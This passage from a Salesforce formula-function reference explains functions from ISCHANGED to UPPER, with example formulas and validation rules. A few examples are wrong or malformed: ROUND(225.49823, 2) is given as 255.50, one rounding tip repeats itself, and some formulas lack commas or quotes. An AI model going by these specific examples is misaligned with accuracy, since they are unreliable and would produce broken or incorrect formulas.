IF(ISBLANK(Amount), 0, 1) +
IF(ISBLANK(Timeline__c), 0, 1)) / 5

This formula takes a group of fields and calculates what percent of them are being used by
your personnel. This formula field checks five fields to see if they are blank. If so, a zero is
counted for that field. A 1 is counted for any field that contains a value and this total is
divided by five (the number of fields evaluated). Note that this formula requires you select
the Treat blank fields as blanks option under Blank Field Handling while the
Advanced Formula subtab is showing.
Tips:

Use ISBLANK instead of ISNULL in new formulas. ISBLANK has the same
functionality as ISNULL, but also supports text fields. Salesforce will continue to support
ISNULL, so you do not need to change any existing formulas.
A field is not empty if it contains a character, blank space, or zero. For example, a field
that contains a space inserted with the spacebar is not empty.
Use the BLANKVALUE function to return a specified string if the field does not have
a value; use the ISBLANK function if you only want to check if the field has a value.
If you use this function with a numeric field, the function only returns TRUE if the field
has no value and is not configured to treat blank fields as zeroes.

ISCHANGED
Description:

Compares the value of a field to the previous value and returns TRUE if the values are
different. If the values are the same, this function returns FALSE.

Use:

ISCHANGED(field) and replace field with the name of the field you want to compare.

Validation Rule Example:

The following validation rule prevents users from changing an object name after it has been
created: NOT(ISCHANGED(Name)).
NOT(AND(ISCHANGED(Priority), ISPICKVAL(Priority, Low))) is a validation
rule that ensures if a user changes the Priority of a case, the new priority cannot be Low.

1226

Customize

Operators and Functions

NOT(AND(ISCHANGED(CloseDate), OR(MONTH(CloseDate) <> MONTH(TODAY()),


YEAR(CloseDate) <> YEAR(TODAY())),$Profile.Name <> "Sales Manager"))
is a validation rule that prevents a user from changing the Close Date of an opportunity

to a date outside of the current month and year unless that user has the Sales Manager
profile.
Note: $Profile merge fields are only available in Enterprise, Unlimited, and Developer
Editions.

Tips:

This function is available only in:

Assignment rules
Validation rules
Field updates
Workflow rules if the trigger type is set to Every time a record is created
or edited.

Use the NOT function to reverse the return values of TRUE and FALSE.
This function returns FALSE when evaluating any field on a newly created record.
If a text field was previously blank, this function returns TRUE when it contains any
value.
For number, percent, or currency fields, this function returns TRUE when:
The field was blank and now contains any value
The field was zero and now is blank
The field was zero and now contains any other value

ISNEW
Description:

Checks if the formula is running during the creation of a new record and returns TRUE if
it is. If an existing record is being updated, this function returns FALSE.

Use:

ISNEW()

Validation Rule Example:

Use the following validation rule to prevent users from creating a record with a close date in
the past. AND (ISNEW(), CloseDate < TODAY()) checks if the user is creating a new
opportunity and, if so, ensures that the Close Date is today or after today.
Use this validation rule to ensure users add at least one product to an opportunity after they
have created it.
NOT(OR(ISNEW(),HasOpportunityLineItem))

In this example, the validation rule formula displays the following error message when an
existing opportunity does not have any products: You must add products to this opportunity
before saving. This does not display an error on the initial save because they cannot add
products until after saving the record initially; but it prevents them from resaving or closing
an opportunity that does not contain products.
Tips:

This function is available only in validation rules, field updates, workflow rules, and
assignment rules.

1227

Customize

Operators and Functions

Use the NOT function to reverse the return values of TRUE and FALSE.
This function always returns FALSE when used in a workflow rule with a time-based
trigger.
This function always returns FALSE when used in a field update for an approval action.

ISNULL
Description:

Determines if an expression is null (blank) and returns TRUE if it is. If it contains a value,
this function returns FALSE.
Note: Use ISBLANK instead of ISNULL in new formulas. ISBLANK has the
same functionality as ISNULL, but also supports text fields. Salesforce will continue
to support ISNULL, so you do not need to change any existing formulas.

Use:

ISNULL(expression) and replace expression with the expression you want evaluated.

Example:
(IF(ISNULL(Maint_Amount__c), 0, 1) +
IF(ISNULL(Services_Amount__c), 0,1) +
IF(ISNULL(Discount_Percent__c), 0, 1) +
IF(ISNULL(Amount), 0, 1) +
IF(ISNULL(Timeline__c), 0, 1)) / 5

This formula takes a group of fields and calculates what percent of them are being used by
your personnel. This formula field checks five fields to see if they are blank. If so, a zero is
counted for that field. A 1 is counted for any field that contains a value and this total is
divided by five (the number of fields evaluated). Note that this formula requires you select
the Treat blank fields as blanks option under Blank Field Handling while the
Advanced Formula subtab is showing.
Validation Rule Example:
AND(ISPICKVAL(StageName, "Closed Won"),
ISNULL(Project_Start_Date__c))

This validation rule makes the Project Start Date custom date field conditionally
required whenever the stage is Closed Won.
Tips:

Text fields are never null, so using this function with a text field always returns false. For
example, the formula field IF(ISNULL(new__c) 1, 0) is always zero regardless of
the value in the New field. For text fields, use the ISBLANK function instead.
Multi-select picklist fields are never null in s-controls, buttons, and email templates, so
using this function with a multi-select picklist field in those contexts always returns false.
Empty date and date/time fields always return true when referenced in ISNULL functions.
Choose Treat blank fields as blanks for your formula when referencing a
number, percent, or currency field in an ISNULL function. Choosing Treat blank
fields as zeroes gives blank fields the value of zero so none of them will be null.
Merge fields can be handled as blanks, which can affect the results of components like
s-controls because they can call this function.
When using a validation rule to ensure that a number field contains a specific value, use
the ISNULL function to include fields that do not contain any value. For example, to

1228

Customize

Operators and Functions

validate that a custom field contains a value of '1,' use the following validation rule to
display an error if the field is blank or any other number:
OR(ISNULL(field__c), field__c<>1)

ISNUMBER
Description:

Determines if a text value is a number and returns TRUE if it is. Otherwise, it returns
FALSE.

Use:

ISNUMBER(text) and replace text with the merge field name for the text field.

Validation Rule Example:


OR(LEN(Bank_Account_Number__c) <> 10,
NOT(ISNUMBER(Bank_Account_Number__c)))

This validation rule ensures a custom text field called Bank Account Number is a number
of 10 digits and is not blank.
Tips:

This function returns FALSE for blank values.


The ISNUMBER function is not aware of your locale. For example,
ISNUMBER("123,12") and ISNUMBER("1 000") return FALSE even if the user's
locale is French.
Chinese, Japanese, Korean, and special characters including a space return FALSE.
The ISNUMBER function returns TRUE for scientific formatting such as 2E2 or
123.123.

ISPICKVAL
Description:

Determines if the value of a picklist field is equal to a text literal you specify.

Use:

ISPICKVAL(picklist_field, text_literal) and replace picklist_field with


the merge field name for the picklist; replace text_literal with the picklist value in quotes.
text_literal cannot be a merge field or the result of a function.

Examples:

Contract Activation
IF(ISPICKVAL(Status, "Activated"), NOW()-ActivatedDate, null) calculates

the number of days since the contract was activated. If the contract status is not Activated,
this field is blank.
Commission Amounts
IF(ISPICKVAL(StageName, "Closed Won"),
ROUND(Amount *0.02, 2), 0)

This example calculates the commission amount for any opportunity that has a Closed Won
stage. The value of this field will be the amount times 0.02 for any closed/won opportunity.
Open or lost opportunities will have a zero commission value.

1229

Customize

Operators and Functions

Competitor-Triggered Workflow
ISPICKVAL(Stage, Closed Lost) && INCLUDES(Competitor__c, Acme)

This formula in a workflow rule configures Salesforce to trigger the associated workflow
actions if the Competitor multi-select picklist field on a lost business is Acme.
Tips:

Replace picklist_field with a custom or standard field of type picklist.


Your text_literal expression must be of type text and enclosed in quotes. It cannot
be a merge field or the result of a function.
Use CASE functions to determine if a picklist value is equal to a particular value.
When using the ISPICKVAL function to return the previous value of a picklist field,
include the PRIORVALUE function inside the ISPICKVAL function as in this example:
ISPICKVAL(PRIORVALUE
(picklist_field),
text_literal)

JSENCODE
Description:

Encodes text and merge field values for use in JavaScript by inserting escape characters, such
as a backslash (\), before unsafe JavaScript characters, such as the apostrophe (').

Use:

{!JSENCODE(text)} and replace text with the merge field or text string that contains

the unsafe JavaScript characters.


Example:

If the merge field foo__c contains <B>Enter the user's name<b>,


{!JSENCODE(foo__c)} results in: \u003CB\u003EEnter the user\'s
name\u003C\/b\u003E

Tips:

This function is only available in custom buttons and links.

JSINHTMLENCODE
Description:

Encodes text and merge field values for use in JavaScript within HTML tags by inserting
escape characters before unsafe JavaScript characters and replacing characters that are reserved
in HTML with HTML entity equivalents.

Use:

{!JSINHTMLENCODE(text)} and replace text with the merge field or text string that

contains the unsafe JavaScript characters.


Example:

If the merge field foo__c contains <B>Enter the user's name<b>,


{!JSINHTMLENCODE(foo__c)} results in: &lt;B&gt;Enter the user&#39;s
name&lt;/b&gt;

Tips:

This function is only available in custom buttons and links.

1230

Customize

Operators and Functions

LEFT
Description:

Returns the specified number of characters from the beginning of a text string.

Use:

LEFT(text, num_chars) and replace text with the field or expression you want returned;
replace num_chars with the number of characters from the left you want returned.

Example:

TRIM(LEFT(LastName, 5)) & "-" & TRIM(RIGHT(SSN__c, 4))

This formula displays the first five characters ofta name and the last four characters of a social
security number separated by a dash. Note that this example uses a text custom field called
SSN.
Tips:

Reference auto-number fields as text fields in formulas.


If the num_chars value is less than zero, Salesforce replaces the value with zero.

LEN
Description:

Returns the number of characters in a specified text string.

Use:

LEN(text) and replace text with the field or expression whose length you want returned.

Example:

LEN(PartNumber__c)

This formula returns the number of characters in a Product Code field.

LINKTO
Description:

Returns a relative URL in the form of a link (href and anchor tags) for a custom s-control
or Salesforce page.

Use:

{!LINKTO(label, target, id, [inputs], [no override]} and replace label


with the text for the link, target with the URL, and id with a reference to the record.

Inputs are optional and can include any additional parameters you want to add to the link.
The no override argument is also optional and defaults to false. It applies to targets for
standard Salesforce pages such as $Action.Account.New. Replace no override with true
when you want to display a standard Salesforce page regardless of whether you have defined
an override for it elsewhere.
S-Control Example:

New Account S-Control


<html>
<body>
{!LINKTO("Create a New Account", $Action.Account.New,
$ObjectType.Account)}
</body>
</html>

This example allows users to click a link to create a new account. It is useful in account list
views or Web tabs where you want users to create an account directly from that page. Use
the $Action global variable to access the new account page in Salesforce.

1231

Customize

Operators and Functions

New Email Window S-Control


<html>
<body>
{!LINKTO("Email link",
"mailto:support@yourcompany.com?subject=Please%20Help")};
</body>
</html>

This example launches a new email window addressed to support@yourcompany.com with


the subject Please Help whenever a user clicks Mail link.
Link to Another S-Control
<html>
<body>
{!LINKTO("Check for duplicates",
$Scontrol.dedup_account, Account.Id)}
</body>
</html>

Use this example to generate a page containing a hyperlink labeled Check for duplicates.
When users click this link, Salesforce runs your custom s-control. This example assumes you
have already created a custom s-control to find duplicate accounts and merge their information.
Tips:

Avoid using this function in an inline s-control if you want it to open in a new window.
Enclose multiple inputs in brackets to indicate they are together:
{!LINKTO("View Case", $Action.Case.View, Case.Id, [parm1="A",
parm2="B"])}

Set inputs to null if you do not have any to pass yet you want to set the no override
argument:
{!LINKTO("View Case", $Action.Case.View, Case.Id, null, true)}

When you override the tab home page for a standard or custom tab, set target to the
Tab $Action global variable and id to the object type. For example,
LINKTO("Accounts Tab", $Action.Account.Tab, $ObjectType.Account)

This function is only available in custom buttons, links, and s-controls.

LN
Description:

Returns the natural logarithm of a specified number. Natural logarithms are based on the
constant e value of 2.71828182845904.

Use:

LN(number) and replace number with the field or expression for which you want the natural

logarithm. Note: the LN function is the inverse of the EXP function.


Example:

LN(10) returns the natural logarithm of 10, which is 2.30.


LN(Value__c) returns the natural logarithm of a custom number field called Value.

1232

Customize

Operators and Functions

LOG
Description:

Returns the base 10 logarithm of a number.

Use:

LOG(number) and replace number with the field or expression from which you want the

base 10 logarithm calculated.


Example:

Salary
LOG(Salary__c) calculates the logarithm of a persons salary. In this example, Salary is

a custom currency field.


Hydrogen
-LOG(Hydrogen__c) calculates the pH and acidity using the LOG function and a custom
number field called Hydrogen, which represents the concentration of Hydrogen ions in the

liquid measured in moles per liter.

LOWER
Description:

Converts all letters in the specified text string to lowercase. Any characters that are not letters
are unaffected by this function. Locale rules are applied if a locale is provided.

Use:

LOWER(text, [locale]) and replace text with the field or text you wish to convert to
lowercase, and locale with the optional two-character ISO language code or five-character

locale code, if available. For information on supported languages, see What languages does
Salesforce support? on page 3513.
Example:

MYCOMPANY.COM
LOWER("MYCOMPANY.COM") returns mycompany.com.

Ticker Symbol
LOWER(TickerSymbol) returns the text in Ticker Symbol in lower case characters.

Applying Turkish Language Locale Rules


The Turkish language has two versions of the letter i: one dotted and one dotless. The locale
rules for Turkish require the ability to capitalize the dotted i, and allow the dotless I to be
lowercase. To correctly use the LOWER() function with the Turkish language locale, use the
Turkish locale code tr in the LOWER() function as follows:
LOWER(text, "tr")

This ensures that Salesforce does not transform any dotted i in the text to a dotless I.

LPAD
Description:
Use:

Inserts characters you specify to the left-side of a text string.


LPAD(text, padded_length[, pad_string]) and replace the variables:

text is the field or expression you want to insert characters to the left of.
padded_length is the number of total characters in the text that will be returned.
pad_string is the character or characters that should be inserted. pad_string is

optional and defaults to a blank space.

1233

Customize

Operators and Functions

If the value in text is longer than pad_string, text is truncated to the size of
padded_length.
Example:

Field Name: Padding


LPAD(Name, 20) truncates the Name field after 20 characters. For example, if the name
is mycompany.com, the value returned is "mycompany.com."

My_Company: No Change
LPAD('my_company.com', 14, 'z') returns my_company.com without change

because it has 14 characters.


Field Name Padded with Z
LPAD(Name, 15, 'z') returns the name zmycompany.com.

Field Name: Truncating


LPAD(Name, 2) truncates the name after the second character. For example, if the name
is mycompany.com, the value returned is my.

Tips:

Leading blank spaces and zeros are omitted.

MAX
Description:

Returns the highest number from a list of numbers.

Use:

MAX(number, number,...) and replace number with the fields or expressions from which

you want to retrieve the highest number.


Example:

Service Charge
MAX(0.06 * Total_Cost__c, Min_Service_Charge__c)

In this example, the formula field calculates a service charge of 6% of the total cost or a
minimum service charge, whichever is greater. Note that Min Service Charge is a custom
currency field with a default value of $15. However, you could make it a formula field if your
minimum service charge is always the same amount.
Book Royalties
MAX(0.10 * Pages__c,
(Retail_Price__c * 0.07) * Total_Sold__c)

This formula determines which amount to pay in royalties for a book. It displays the greater
of two amounts: $0.07 for each book sold or $0.10 per page. It assumes you have custom
number fields for Pages and Total Sold and a custom currency field for Retail Price.
Commissions
MAX($User.Commission_Percent__c * Price,
Price * Account_Discount__c, 100)

This formula determines what commission to log for an asset based on which is greater: the
user's commission percentage of the price, the price times the discount percent stored for the
account or 100 dollars. This example assumes you have two custom percent fields on users
and assets.

1234

Customize

Operators and Functions

MID
Description:

Returns the specified number of characters from the middle of a text string given the starting
position.

Use:

MID(text, start_num, num_chars) and replace text with the field or expression to
use when returning characters; replace start_num with the number of characters from the
left to use as a starting position; replace num_chars with the total number of characters to

return.
Example:

MID(Division, 3, 4) returns four characters of the Division name beginning with

the third character from the left. On a user record, this represents the department code.

MIN
Description:

Returns the lowest number from a list of numbers.

Use:

MIN(number, number,...) and replace number with the fields or expressions from which

you want to retrieve the lowest number.


Example:

401K Matching
MIN(250, Contribution__c /2)

This example formula determines which amount to provide in employee 401K matching
based on a matching program of half of the employee's contribution or $250, whichever is
less. It assumes you have custom currency field for Contribution.
Bonus
MIN(Gross__c * Bonus_Percent__c,
Performance__c / Number_of_Employees__c)

This example determines an employee's bonus amount based on the smallest of two amounts:
the employee's gross times bonus percent or an equally divided amount of the company's
performance amount among all employees. It assumes you have custom number field for
Number of Employees, a custom percent field for Bonus Percent, and currency custom
fields for the employee's Gross and company's Performance.

MOD
Description:

Returns a remainder after a number is divided by a specified divisor.

Use:

MOD(number, divisor) and replace number with the field or expression you want divided;
replace divisor with the number to use as the divisor.

Example:

MOD(3, 3) returns 0
MOD(4, 3) returns 1
MOD(123, 100) returns 23

1235

Customize

Operators and Functions

You may want to prevent users from scheduling meetings on a Saturday or Sunday. Use the
following example to apply a validation rule to a custom date field calledMy Date.
CASE(MOD(My_Date__c - DATE(1900, 1, 7), 7),
0, 0,
6, 0,
1) = 0

This example displays the following error message when the value of My Date is not Monday
through Friday: My Date is not a weekday.

MONTH
Description:

Returns the month, a number between 1 (January) and 12 (December) in number format of
a given date.

Use:

MONTH(date) and replace date with the field or expression for the date containing the

month you want returned.


Example:

SLA Expiration
MONTH(SLAExpirationDate__c) returns the month that your service-level agreement
expires. This example uses a custom date field called SLA Expiration Date.

Current Month
MONTH(TODAY()) returns the current month in a number format. For example, the month

of February would be the value 2.

NOT
Description:

Returns FALSE for TRUE and TRUE for FALSE.

Use:

NOT(logical) and replace logical with the expression that you want evaluated.

Example:

IF(NOT(ISPICKVAL(Status, "Closed")), ROUND(NOW()-CreatedDate, 0),


null checks to see if a variable is open and if so, calculates the number of days it has been

open by subtracting the date and time created from the current date and time. The result is
the number of days open rounded to zero decimal places. If the variable is not open, this field
is blank.

NOW
Description:

Returns a date/time representing the current moment.

Use:

NOW()

Example:

IF(ISPICKVAL(Status, "Open"), ROUND(NOW()-CreatedDate, 0), null)

This formula checks to see if a lead is open and if so, calculates the number of days it has
been open by subtracting the date and time created from the current date and time. The
result is the number of days open rounded to zero decimal places. If the lead is not open, this
field is blank.

1236

Customize

Tips:

Operators and Functions

Do not remove the parentheses.


Keep the parentheses empty. They do not need to contain a value.
Use a date/time field in a NOW function instead of a date field. Created Date and
Last Modified Date are date/time fields whereas Last Activity Date is a date
field.
Use TODAY if you prefer to use a date field.
Dates and times are always calculated using the users time zone.
Use addition and subtraction operators with a NOW function and other date/time fields
to return a number, representing number of days. For example NOW() - CreatedDate
calculates the number of days since the created date of a record. In this example, the
formula field data type is a number.
Use addition and subtraction operators with a NOW function and numbers to return a
date and time. For example NOW() +5 calculates the date and time five days ahead of
now. In this example, the formula field data type is a date/time.

NULLVALUE
Description:

Determines if an expression is null (blank) and returns a substitute expression if it is. If the
expression is not blank, returns the value of the expression.
Note: Use BLANKVALUE instead of NULLVALUE in new formulas.
BLANKVALUE has the same functionality as NULLVALUE, but also supports
text fields. Salesforce will continue to support NULLVALUE, so you do not need
to change existing formulas.

Use:

NULLVALUE(expression, substitute_expression) and replace expression with


the expression you want to evaluate; replace substitute_expression with the value you

want to replace any blank values.


Example:

(NULLVALUE(Sample_Due_Date__c, StartDate +5)

This formula returns the date five days after the start date whenever Sample Due Date is
blank. Sample Due Date is a custom date field.
Tips:

Avoid using this function with text fields because they are never null even when they are
blank. Instead, use the BLANKVALUE function to determine if a text field is blank.
Choose Treat blank fields as blanks for your formula when referencing a
number, percent, or currency field in a NULLVALUE function. Choosing Treat blank
fields as zeroes gives blank fields the value of zero so none of them will be null.
Use the same data type for both the expression and substitute_expression.

OR
Description:

Determines if expressions are true or false. Returns TRUE if any expression is true. Returns
FALSE if all expressions are false. Use this function as an alternative to the operator || (OR).

Use:

OR(logical1, logical2...) and replace any number of logical references with the

expressions you want evaluated.

1237

Customize

Formula Field Example:

Operators and Functions

IF(OR(ISPICKVAL(Priority, "High"), ISPICKVAL(Status, "New")),


ROUND(NOW()-CreatedDate, 0), null)

This formula returns the number of days a case has been open if the Status is new or the
Priority is high. If the case was opened today, this field displays a zero.
Validation Rule Example:
OR(Sample_Rate__c < 0, Sample_Rate__c > 0.40)

This validation rule formula displays the following error message when the Sample Rate
custom field is not between 0 and 40%: SampleRate cannot exceed 40%.

PARENTGROUPVAL
Description:

This function returns the value of a specified parent grouping. A parent grouping is any
level above the one containing the formula. You can only use this function in custom summary
formulas for reports.

Use:

Summary and Joined: PARENTGROUPVAL(summary_field, grouping_level)


Matrix: PARENTGROUPVAL(summary_field, parent_row_grouping,
parent_column_grouping)

Where summary_field is the summarized field value, grouping_level is the parent


level for summary reports, and parent_row_level and parent_column_level are the
parent levels for matrix reports.
Example:
TOTAL_PRICE:SUM/PARENTGROUPVAL(TOTAL_PRICE:SUM, GRAND_SUMMARY)

This formula calculates, for each product, its relative size compared to the grand total. In
this example, the report is a summary of opportunities and their products, grouped by
Product Name.

PREVGROUPVAL
Description:

This function returns the value of a specified previous grouping. A previous grouping is
one that comes before the current grouping in the report. Choose the grouping level and
increment. The increment is the number of columns or rows before the current summary.
The default is 1; the maximum is 12. You can only use this function in custom summary
formulas for reports.

1238

Customize

Operators and Functions

Use:
PREVGROUPVAL(summary_field, grouping_level [, increment])

Where summary_field is the name of the grouped row or column, grouping_level is


the summary level, and increment is the number of rows or columns previous.
Example:
AMOUNT:SUM - PREVGROUPVAL(AMOUNT:SUM, CLOSE_DATE)

This formula calculates, for each month, the difference in amount from the previous month
shown in the report. In this example, the report is an opportunity matrix with columns
grouped by Close Date and rows by Stage.

PRIORVALUE
Description:

Returns the previous value of a field.

Use:

PRIORVALUE(field)

Validation Rule Example:

The following validation rule prevents users from changing the expected revenue of an
opportunity after it is closed: AND(PRIORVALUE(Amount) > Amount, IsClosed).

Tips:

This function is available only in:

Assignment rules
Validation rules
Field updates
Workflow rules if the trigger type is set to Every time a record is created
or edited.

This function does not return default values.


When users create a new record, this function returns the value of the field referenced
rather than null. For example, if you create an account named Acme,
PRIORVALUE(Account.Name) returns Acme.
When using the ISPICKVAL function to return the previous value of a picklist field,
include the PRIORVALUE function inside the ISPICKVAL function as in this example:
ISPICKVAL(PRIORVALUE
(picklist_field),
text_literal)

Use the PRIORVALUE function inside the INCLUDES function to check if the previous
value of a multi-select picklist field included a specific value. For example:
INCLUDES(
PRIORVALUE(multiselect_picklist_field),
text_literal
)

1239

Customize

Operators and Functions

REGEX
Description:

Compares a text field to a regular expression and returns TRUE if there is a match. Otherwise,
it returns FALSE. A regular expression is a string used to describe a format of a string
according to certain syntax rules.

Use:

REGEX(text, regex_text) and replace text with the text field, and regex_text with

the regular expression you want to match.


Validation Rule Example:

This example ensures that a custom field called SSN matches a regular expression representing
a valid social security number format of the form 999-99-9999.

NOT(
OR(
LEN (SSN__c) = 0,
REGEX(SSN__c, "[0-9]{3}-[0-9]{2}-[0-9]{4}")
)
)

Tips:

Regular expression syntax is based on Java Platform SE 6 syntax. However, backslash


characters (\) must be changed to double backslashes (\\) because backslash is an escape
character in Salesforce.
The Salesforce regular expression engine matches an entire string as opposed to searching
for a match within a string. For example, if you are searching for the name Marc Benioff,
use the regular expression, .*Marc Benioff.*, to find a match in a string like the
following:
According to Marc Benioff, the social enterprise increases
customer success.

If you use the regular expression, Marc Benioff, the only string that this regular
expression will match is:
Marc Benioff

Capture groups and substitutions are ignored.


This function is available everywhere formulas exist except formula fields and custom
buttons and links.

REQUIRESCRIPT
Description:

Returns a script tag with source for a URL you specify. Use this function when referencing
the Force.com AJAX Toolkit or other JavaScript toolkits.

Use:

{!REQUIRESCRIPT(url)} and replace url with the link for the script that is required.

For the AJAX Toolkit:


{!requireScript("/soap/ajax/13.0/connection.js")}

1240

Customize

Operators and Functions

Returns:
<script src="/soap/ajax/13.0/connection.js"></script>

For Dojo:
{!requireScript("/js/dojo/0.3.1/dojo.js")}

Returns:
<script src="/js/dojo/0.3.1/dojo.js"></script>

Custom Button Example:


{!REQUIRESCRIPT("/soap/ajax/13.0/connection.js")}
var c = new sforce.SObject("Case");
c.id = "{!Case.Id}";
c.Status = "New";
result = sforce.connection.update([c]);
window.location.reload();

This example sets the Status of a case to New whenever a user clicks a custom button
from the case detail page. To set this up in your organization, define a custom button for
cases that has the following attributes:

Display Type is Detail Page Button


Behavior is Execute JavaScript
Content Source is OnClick JavaScript

Next, paste the content above into your custom button definition and add it to your case
page layouts.
Tips:

Use global variables to access special merge fields for s-controls.


Use this function when creating custom buttons or links where you have set the Behavior
to Execute JavaScript and Content Source to OnClick JavaScript because the
script tag should be outside the OnClick code.
This function is only available for custom buttons and links that have Content Source
set to OnClick JavaScript.
When working in Visualforce, use INCLUDESCRIPT instead.

RIGHT
Description:

Returns the specified number of characters from the end of a text string.

Use:

RIGHT(text, num_chars) and replace text with the field or expression you want returned;
replace num_chars with the number of characters from the right you want returned.

Example:

TRIM(LEFT(LastName, 5))&"-"&TRIM(RIGHT(SSN__c, 4)) displays the first five

characters of the a name and the last four characters of asocial security number separated by
a dash. Note that this assumes you have a text custom field called SSN.
Tips:

Reference auto-number fields as text fields in formulas.


If the num_chars value is less than zero, Salesforce replaces the value with zero.

1241

Customize

Operators and Functions

ROUND
Description:

Returns the nearest number to a number you specify, constraining the new number by a
specified number of digits.

Use:

ROUND(number, num_digits) and replace number with the field or expression you want
rounded; replace num_digits with the number of decimal places you want to consider when

rounding.
Example:

ROUND (1.5, 0) = 2
ROUND (1.2345, 0) = 1
ROUND (-1.5, 0) = -2
ROUND (225.49823, 2) = 255.50

Simple Discounting
ROUND(Amount-Amount* Discount_Percent__c,2)

Use this formula to calculate the discounted amount of an opportunity rounded off to two
digits. This example is a number formula field on opportunities that uses a custom percent
field called Discount Percent.
Tips:

Enter zero for num_digits to round a number to the nearest integer.


Salesforce automatically rounds numbers based on the decimal places you specify. For
example, a custom number field with two decimal places stores 1.50 when you enter
1.49999.
Salesforce uses the round half-up rounding algorithm. Half-way values are always rounded
up. For example, 1.45 is rounded to 1.5. 1.45 is rounded to 1.5.
The decimal numbers displayed depend on the decimal places you selected when defining
the field in the custom field wizard. The num_digits represents the number of digits
considered when rounding.

RPAD
Description:
Use:

Inserts characters that you specify to the right-side of a text string.


RPAD(text, padded_length[, 'pad_string']) and replace the variables:

text is the field or expression after which you want to insert characters.
pad_length is the number of total characters in the text string that will be returned.
pad_string is the character or characters that should be inserted. pad_string is

optional and defaults to a blank space.


If the value in text is longer than pad_string, text is truncated to the size of
padded_length.
Example:

Field Name: Padding Default


RPAD(Name, 20) truncates the Name field after 20 characters. For example, if the name
is mycompany.com, the value returned is mycompany.com.

My_Company: No Change

1242

Customize

Operators and Functions

RPAD('my_company.com', 14, 'z') returns my_company.com without change

because it has 14 characters.


Field Name: Padding with a Character
RPAD(Name, 15, 'z') returns mycompany.comz .

Field Name: Truncating


RPAD(Name, 2) truncates the name after the second character. For example, if the name
is mycompany.com, the value returned is my.

Tips:

Ending blank spaces are omitted.

SQRT
Description:

Returns the positive square root of a given number.

Use:

SQRT(number) and replace number with the field or expression you want computed into a

square root.
Example:

SQRT(25)returns the square root of 25, which is 5.

Amplitude
SQRT(Amplitude__c) returns the square root of a custom number field representing the

amplitude of an earthquake.
Tips:

Calculating the square root of a negative number results in an error on the detail page.
Avoid division by zero errors by including an IF function such as: IF(Amplitude__c
>= 0, SQRT(Amplitude__c), null).

SUBSTITUTE
Description:

Substitutes new text for old text in a text string.

Use:

SUBSTITUTE(text, old_text, new_text) and replace text with the field or value
for which you want to substitute values, old_text with the text you want replaced, and
new_text with the text you want to replace the old_text.

Example:

SUBSTITUTE(Name, "Coupon", "Discount")returns the name of an opportunity that

contains the term Coupon with the opportunity name plus Discount wherever the term
Coupon existed.
SUBSTITUTE(Email, LEFT(Email, FIND("@", Email)), "www.") finds the

location of the @ sign in a person's email address to determine the length of text to replace
with a www. as a means of deriving their website address.
Tips:

Each term provided in quotes is case sensitive.


If the old_text appears more than once, each occurrence is replaced with the new_text
value provided even when that results in duplicates.

1243

Customize

Operators and Functions

TEXT
Description:

Converts a percent, number, date, date/time, or currency type field into text anywhere formulas
are used. Also, converts picklist values to text in validation rules, formula fields, and field
updates.

Use:

TEXT(value) and replace value with the field or expression you want to convert to text

format. Avoid using any special characters besides a decimal point (period) or minus sign
(dash) in this function.
Example:

Expected Revenue in Text


TEXT(ExpectedRevenue) returns the expected revenue amount of an opportunity in text
format without a dollar sign. For example, if the Expected Revenue of a campaign is

"$200,000," this formula field displays 200000.


Asset ID
SerialNumber &"-"& TEXT(Quantity) returns an asset ID number starting with the
serial number and ending with the quantity separated by a dash. The Serial Number field
is already text but the Quantity field is a number, requiring the TEXT function before it.

Use Picklist Values in Math Equations


VALUE(LEFT(TEXT(Quantity), 5)) * Unit

This formula multiplies the first five numbers of the Quantity picklist by the Unit numeric
field.
Compare Two Picklists
IF(TEXT(bug_status) = TEXT(case_status), Match, Out of Sync)

This formula compares the values of the bug_status picklist with values of the
case_status picklist.
Display Picklist Values From Parent Records
TEXT(Account.Industry)

This formula field on opportunities shows the industry of the associated account.
Concatenate Picklist Values
TEXT(Account.Industry) & " - " & TEXT(Account.SubIndustry__c)

This formula field on opportunities shows the industry and subindustry of the associated
account.
Validation Rule Examples:

Block the Save of a Closed Opportunity


CONTAINS(TEXT(Status), "Closed") returns TRUE if the Status picklist contains

the value Closed, such as Closed Won and Closed Lost. This validation rule formula
blocks users from saving changes to a closed opportunity.
Use Numeric Functions on Numeric Picklist Values

1244

Customize

Operators and Functions

VALUE(LEFT(TEXT(Quantity), 5)) * Unit > 10000 multiplies the first five numbers
of the Quantity picklist by the Unit numeric field, and returns TRUE if the result is greater

than 10,000.
Directly Compare Two Picklists
TEXT(bug_status) = TEXT(case_status) compares the values of the bug_status

picklist with values of the case_status picklist, and returns TRUE if they are equal.
Tips:

The returned text is not formatted with any currency, percent symbols, or commas.
Values are not sensitive to locale. For example, 24.42 EUR are converted into the number
24.42.
Percents are returned in the form of a decimal.
Dates are returned in the form of YYYY-MM-DD, that is, a four-digit year and two-digit
month and day.
Date/time values are returned in the form of YYYY-MM-DD HH:MM:SSZ where
YYYY is a four-digit year, MM is a two-digit month, DD is a two-digit day, HH is the
two-digit hour, MM are the minutes, SS are the seconds, and Z represents the zero
meridian indicating the time is returned in UTC time zone.
Picklist fields are only supported in TEXT functions used in validation rule formulas,
formula fields, and field updates. In other formulas, use ISPICKVAL or CASE when
referencing a picklist field.
The TEXT function always returns picklist values in your organization's master language,
not the language of the current user.

TODAY
Description:

Returns the current date as a date data type.

Use:

TODAY()

Example:

TODAY()-Sample_date_c calculates how many days in the sample are left.

Validation Rule Example:


SampleDate < TODAY()

This example ensures that users cannot change the Sample Date to any date in the past.
Tips:

Do not remove the parentheses.


Keep the parentheses empty. They do not need to contain a value.
Use a date field with a TODAY function instead of a date/time field. Last Activity
Date is a date field whereas Created Date and Last Modified Date are date/time
fields.
See NOW if you prefer to use a date/time field.
Dates and times are always calculated using the users time zone.
Use addition and subtraction operators with a TODAY function and other date fields to
return a number, representing number of days. For example
TODAY()-LastActivityDate calculates the number of days since the last activity
date. In this example, the formula field data type is a number.

1245

Customize

Operators and Functions

Use addition and subtraction operators with a TODAY function and numbers to return
a date. For example TODAY() +5 calculates the date five days ahead of today. In this
example, the formula field data type is a date.

TRIM
Description:

Removes the spaces and tabs from the beginning and end of a text string.

Use:

TRIM(text) and replace text with the field or expression you want to trim.

Example:

TRIM(LEFT(LastName,5))& "-" & RIGHT(FirstName, 1) returns a network ID

for users that contains the first five characters of their last name and first character of their
first name separated by a dash.

UPPER
Description:

Converts all letters in the specified text string to uppercase. Any characters that are not letters
are unaffected by this function. Locale rules are applied if a locale is provided.

Use:

UPPER(text, [locale]) and replace text with the field or expression you wish to convert
to uppercase, and locale with the optional two-character ISO language code or five-character

locale code, if available. For information on supported languages, see What languages does
Salesforce support? on page 3513.
Example:

MYCOMPANY.COM
